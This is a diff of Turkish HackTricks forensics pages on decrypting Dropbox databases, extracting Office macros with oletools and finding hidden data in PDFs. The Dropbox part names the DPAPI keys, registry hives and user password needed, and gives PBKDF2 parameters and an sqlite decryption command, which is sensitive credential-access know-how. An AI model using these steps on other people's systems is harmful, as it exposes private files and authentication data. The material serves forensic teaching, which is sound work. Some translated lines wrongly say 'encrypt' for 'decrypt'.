* Deleted.dbx * Deleted.dbx
* Config.dbx * Config.dbx
".dbx" uzantısı, veritabanlarının **şifrelendiği** anlamına gelir. Dropbox, **DPAPI** kullanır ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) ".dbx" uzantısı, veritabanlarının **şifreli olduğu** anlamına gelir. Dropbox, **DPAPI** kullanır ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Dropbox'un kullandığı şifrelemeyi daha iyi anlamak için [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html) adresini okuyabilirsiniz. Dropbox'un kullandığı şifrelemeyi daha iyi anlamak için [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html) adresini okuyabilirsiniz.
Ancak, temel bilgiler şunlardır: Ancak, ana bilgiler şunlardır:
* **Entropy**: d114a55212655f74bd772e37e64aee9b * **Entropi**: d114a55212655f74bd772e37e64aee9b
* **Salt**: 0D638C092E8B82FC452883F95F355B8E * **Tuz**: 0D638C092E8B82FC452883F95F355B8E
* **Algoritma**: PBKDF2 * **Algoritma**: PBKDF2
* **İterasyonlar**: 1066 * **İterasyonlar**: 1066
Bu bilgilerin yanı sıra, veritabanlarını şifrelemek için hala ihtiyacınız olanlar: Bu bilgilerin yanı sıra, veritabanlarını şifrelemek için hala gerekenler:
* **Şifrelenmiş DPAPI anahtarı**: Bu anahtarı, `NTUSER.DAT\Software\Dropbox\ks\client` içinde kayıt defterinde bulabilirsiniz (bu veriyi ikili olarak dışa aktarın) * **Şifreli DPAPI anahtarı**: Bu veriyi `NTUSER.DAT\Software\Dropbox\ks\client` içinde kayıt defterinde bulabilirsiniz (bu veriyi ikili olarak dışa aktarın)
* **`SYSTEM`** ve **`SECURITY`** hive'ları * **`SYSTEM`** ve **`SECURITY`** hive'ları
* **DPAPI anahtarları**: Bunlar, `\Users\<kullanıcıadı>\AppData\Roaming\Microsoft\Protect` dizininde bulunabilir * **DPAPI anahtarları**: Bunlar `\Users\<kullanıcıadı>\AppData\Roaming\Microsoft\Protect` inde bulunabilir
* Windows kullanıcısının **kullanıcı adı** ve **parolası** * Windows kullanıcısının **kullanıcı adı** ve **şifresi**
Ardından, [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**** aracını kullanabilirsiniz: Ardından [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)** aracını kullanabilirsiniz:**
![](<../../../.gitbook/assets/image (448).png>) ![](<../../../.gitbook/assets/image (448).png>)
Her şey beklenildiği gibi giderse, araç, orijinali kurtarmak için gereken **birincil anahtar**'ı gösterecektir. Orijinali kurtarmak için, bu [cyber\_chef tarifini](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) kullanarak birincil anahtarı tarifin "parola" olarak kullanın. Her şey beklediğiniz gibi giderse, araç **kullanmanız gereken birincil anahtarı** belirtecektir. Orijinal anahtarı kurtarmak için, bu [cyber\_chef reçetesini](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) alıntı içindeki birincil anahtarı "şifre" olarak kullanarak kullanabilirsiniz.
Sonuçta elde edilen onaltılık, veritabanlarını şifrelemek için kullanılan son anahtardır ve şu şekilde şifrelenmiş veritabanları çözülebilir: Sonuçta elde edilen onaltılık, veritabanlarını şifrelemek için kullanılan son anahtardır ve şununla şifrelenmiş veritabanlarını çözebilirsiniz:
```bash ```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
``` ```
**`config.dbx`** veritabanı aşağıdakileri içerir: **`config.dbx`** veritabanı şunları içerir:
- **Email**: Kullanıcının e-posta adresi - **Email**: Kullanıcının e-posta adresi
- **usernamedisplayname**: Kullanıcının adı - **usernamedisplayname**: Kullanıcının adı
- **dropbox\_path**: Dropbox klasörünün bulunduğu yol - **dropbox\_path**: Dropbox klasörünün bulunduğu yol
- **Host\_id: Bulutu doğrulamak için kullanılan hash**. Bu sadece web üzerinden iptal edilebilir. - **Host\_id**: Buluta kimlik doğrulamak için kullanılan hash. Bu sadece web üzerinden iptal edilebilir.
- **Root\_ns**: Kullanıcı kimliği - **Root\_ns**: Kullanıcı kimliği
**`filecache.db`** veritabanı, Dropbox ile senkronize edilen tüm dosya ve klasörlerle ilgili bilgileri içerir. `File_journal` tablosu daha fazla kullanışlı bilgi içerir: **`filecache.db`** veritabanı, Dropbox ile senkronize edilen tüm dosya ve klasörler hakkında bilgi içerir. En fazla kullanışlı bilgiye sahip olan tablo `File_journal` şudur:
- **Server\_path**: Dosyanın sunucu içinde bulunduğu yol (bu yol, istemcinin `host_id` ile öncelenir). - **Server\_path**: Sunucu içinde dosyanın bulunduğu yol (bu yol, istemcinin `host_id`'si tarafından önce gelir).
- **local\_sjid**: Dosyanın sürümü - **local\_sjid**: Dosyanın sürümü
- **local\_mtime**: Değiştirilme tarihi - **local\_mtime**: Değiştirme tarihi
- **local\_ctime**: Oluşturma tarihi - **local\_ctime**: Oluşturma tarihi
Bu veritabanının içindeki diğer tablolar daha ilginç bilgiler içerir: Bu veritabanındaki diğer tablolar daha ilginç bilgiler içerir:
- **block\_cache**: Dropbox'un tüm dosya ve klasörlerinin hash değeri - **block\_cache**: Dropbox'un tüm dosya ve klasörlerinin hash'i
- **block\_ref**: `block_cache` tablosundaki hash ID'sini `file_journal` tablosundaki dosya ID'siyle ilişkilendirir - **block\_ref**: `block_cache` tablosundaki hash ID'sini `file_journal` tablosundaki dosya ID'si ile ilişkilendirir
- **mount\_table**: Dropbox paylaşılan klasörler - **mount\_table**: Dropbox'un paylaşılan klasörleri
- **deleted\_fields**: Dropbox silinmiş dosyaları - **deleted\_fields**: Silinen Dropbox dosyaları
- **date\_added** - **date\_added**
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve **otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin!</summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! - **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin - [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
- Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.** - 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'da **takip edin**.
- Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın. - **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek **paylaşın**.
</details> </details>

View file

@ -1,59 +1,58 @@
# Office dosya analizi # Ofis dosyası analizi
<details> <details>
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary> <summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı **takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **Trickest** kullanarak kolayca iş akışları oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Daha fazla bilgi için [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) adresini kontrol edin. Bu sadece bir özet: Daha fazla bilgi için [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) adresini kontrol edin. Bu sadece bir özet:
Microsoft birçok ofis belge formatı oluşturmuştur, iki ana türü **OLE formatları** (RTF, DOC, XLS, PPT gibi) ve **Office Open XML (OOXML) formatları** (DOCX, XLSX, PPTX gibi) olarak adlandırılır. Bu formatlar makrolar içerebilir, bu nedenle phishing saldırıları ve kötü amaçlı yazılımlar için hedef olabilirler. OOXML dosyaları zip konteynerleri olarak yapılandırılmıştır, bu nedenle açılarak incelenebilir, dosya ve klasör hiyerarşisi ile XML dosya içeriği ortaya çıkarılabilir. Microsoft birçok ofis belge formatı oluşturmuştur, iki ana türü **OLE formatları** (örneğin RTF, DOC, XLS, PPT) ve **Office Open XML (OOXML) formatları** (örneğin DOCX, XLSX, PPTX). Bu formatlar makrolar içerebilir, bu nedenle balık avı ve kötü amaçlı yazılımlar için hedef olabilirler. OOXML dosyaları zip konteynerleri olarak yapılandırılmıştır, bu da açılarak inceleme yapılmasına izin verir, dosya ve klasör hiyerarşisini ve XML dosya içeriğini ortaya çıkarır.
OOXML dosya yapılarını keşfetmek için, bir belgeyi açmak için kullanılan komut ve çıktı yapısı verilmiştir. Bu dosyalarda veri gizleme teknikleri belgelenmiştir, bu da CTF zorluklarında veri gizleme konusunda sürekli yenilik olduğunu göstermektedir. OOXML dosya yapılarını keşfetmek için belgeyi açmak ve çıktı yapısını gösteren komut verilmiştir. Bu dosyalara veri gizleme teknikleri belgelenmiştir, bu da CTF zorluklarında veri gizleme konusunda devam eden yenilikleri gösterir.
Analiz için **oletools** ve **OfficeDissector**, hem OLE hem de OOXML belgelerini incelemek için kapsamlı araç setleri sunar. Bu araçlar, genellikle kötü amaçlı yazılım dağıtımı için vektör olarak hizmet eden gömülü makroları tanımlamak ve analiz etmek konusunda yardımcı olur. VBA makrolarının analizi, Libre Office kullanılarak Microsoft Office olmadan yapılabilir, bu da kesme noktaları ve izleme değişkenleri ile hata ayıklamaya izin verir. Analiz için **oletools** ve **OfficeDissector**, hem OLE hem de OOXML belgelerini incelemek için kapsamlı araç setleri sunar. Bu araçlar, genellikle kötü amaçlı yazılım teslimat vektörleri olarak hizmet eden gömülü makroları tanımlamak ve analiz etmek konusunda yardımcı olur, genellikle ek kötü amaçlı yükleri indirip yürüten kötü amaçlı yazılımlar için. VBA makrolarının analizi, Libre Office kullanılarak Microsoft Office olmadan yapılabilir, bu da kesme noktaları ve izleme değişkenleri ile hata ayıklamaya izin verir.
**oletools**'un kurulumu ve kullanımı kolaydır, pip aracılığıyla kurulum için komutlar sağlanmıştır. Makroların otomatik olarak çalıştırılması, `AutoOpen`, `AutoExec` veya `Document_Open` gibi işlevlerle tetiklenir. **oletools**'un kurulumu ve kullanımı basittir, pip ile kurulum için komutlar sağlanmıştır ve belgelerden makroları çıkarmak için kullanılır. Makroların otomatik olarak yürütülmesi, `AutoOpen`, `AutoExec` veya `Document_Open` gibi işlevlerle tetiklenir.
```bash ```bash
sudo pip3 install -U oletools sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros olevba -c /path/to/document #Extract macros
``` ```
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve kolayca çalıştırın.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. * **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details> </details>

View file

@ -2,51 +2,51 @@
<details> <details>
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary> <summary><strong>Sıfırdan Kahramana AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
</details> </details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **Trickest**'i kullanarak kolayca iş akışları oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**Daha fazla ayrıntı için şuraya bakın: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)** **Daha fazla ayrıntı için kontrol edin:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
PDF formatı, verileri gizleme potansiyeli ve karmaşıklığıyla bilinen bir formattır ve CTF adli bilişim zorluklarında odak noktası olabilir. PDF, düz metin öğelerini sıkıştırılmış veya şifrelenmiş olabilen ikili nesnelerle birleştirir ve JavaScript veya Flash gibi dillerde betikler içerebilir. PDF yapısını anlamak için Didier Stevens'ın [giriş materyaline](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) başvurulabilir veya bir metin düzenleyici veya Origami gibi PDF özel bir düzenleyici gibi araçlar kullanılabilir. PDF formatı, verileri gizleme potansiyeli ve karmaşıklığı ile bilinir, bu da onu CTF adli bilişim zorluklarının odak noktası haline getirir. Basit metin öğelerini sıkıştırılmış veya şifrelenmiş olabilecek ikili nesnelerle birleştirir ve JavaScript veya Flash gibi dillerde betikler içerebilir. PDF yapısını anlamak için Didier Stevens'ın [giriş materyallerine](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) başvurulabilir veya bir metin düzenleyici veya Origami gibi PDF özel düzenleyiciler gibi araçlar kullanılabilir.
PDF'lerin derinlemesine keşfi veya manipülasyonu için [qpdf](https://github.com/qpdf/qpdf) ve [Origami](https://github.com/mobmewireless/origami-pdf) gibi araçlar mevcuttur. PDF'lerdeki gizli veriler aşağıdaki gibi gizlenebilir: PDF'lerin derinlemesine keşfi veya manipülasyonu için [qpdf](https://github.com/qpdf/qpdf) ve [Origami](https://github.com/mobmewireless/origami-pdf) gibi araçlar mevcuttur. PDF'lerdeki gizli veriler şunlarda gizlenebilir:
* Görünmez katmanlar * Görünmez katmanlar
* Adobe tarafından XMP meta veri formatı * Adobe'nin XMP meta veri formatı
* Artımsal nesiller * Artımsal nesiller
* Arka planla aynı renkteki metin * Arka planla aynı renkteki metin
* Resimlerin arkasında veya resimlerin üzerinde yer alan metinler * Resimlerin arkasındaki metin veya resimlerin üst üste binmesi
* Görüntülenmeyen yorumlar * Görüntülenmeyen yorumlar
Özel PDF analizi için [PeepDF](https://github.com/jesparza/peepdf) gibi Python kütüphaneleri, özel ayrıştırma betikleri oluşturmak için kullanılabilir. Ayrıca, PDF'nin gizli veri depolama potansiyeli o kadar geniştir ki, NSA'nın PDF riskleri ve karşı önlemler konusundaki rehberi, artık orijinal konumunda barındırılmıyor olsa da, hala değerli bilgiler sunmaktadır. [Rehberin bir kopyası](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) ve Ange Albertini'nin [PDF formatı hileleri](https://github.com/corkami/docs/blob/master/PDF/PDF.md) koleksiyonu, konuyla ilgili daha fazla okuma sağlayabilir. Özel PDF analizi için [PeepDF](https://github.com/jesparza/peepdf) gibi Python kütüphaneleri, özel ayrıştırma betikleri oluşturmak için kullanılabilir. Ayrıca, PDF'nin gizli veri depolama potansiyeli o kadar geniştir ki, NSA'nın PDF riskleri ve karşı önlemler hakkındaki kılavuzu gibi kaynaklar, artık orijinal konumunda barındırılmıyor olsa da hala değerli içgörüler sunmaktadır. Bir [kılavuz kopyası](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) ve Ange Albertini'nin [PDF formatı püf noktaları](https://github.com/corkami/docs/blob/master/PDF/PDF.md) koleksiyonu, konu hakkında daha fazla okuma sağlayabilir.
<details> <details>
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary> <summary><strong>Sıfırdan Kahramana AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
</details> </details>

File diff suppressed because it is too large Load diff

View file

@ -6,47 +6,47 @@
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
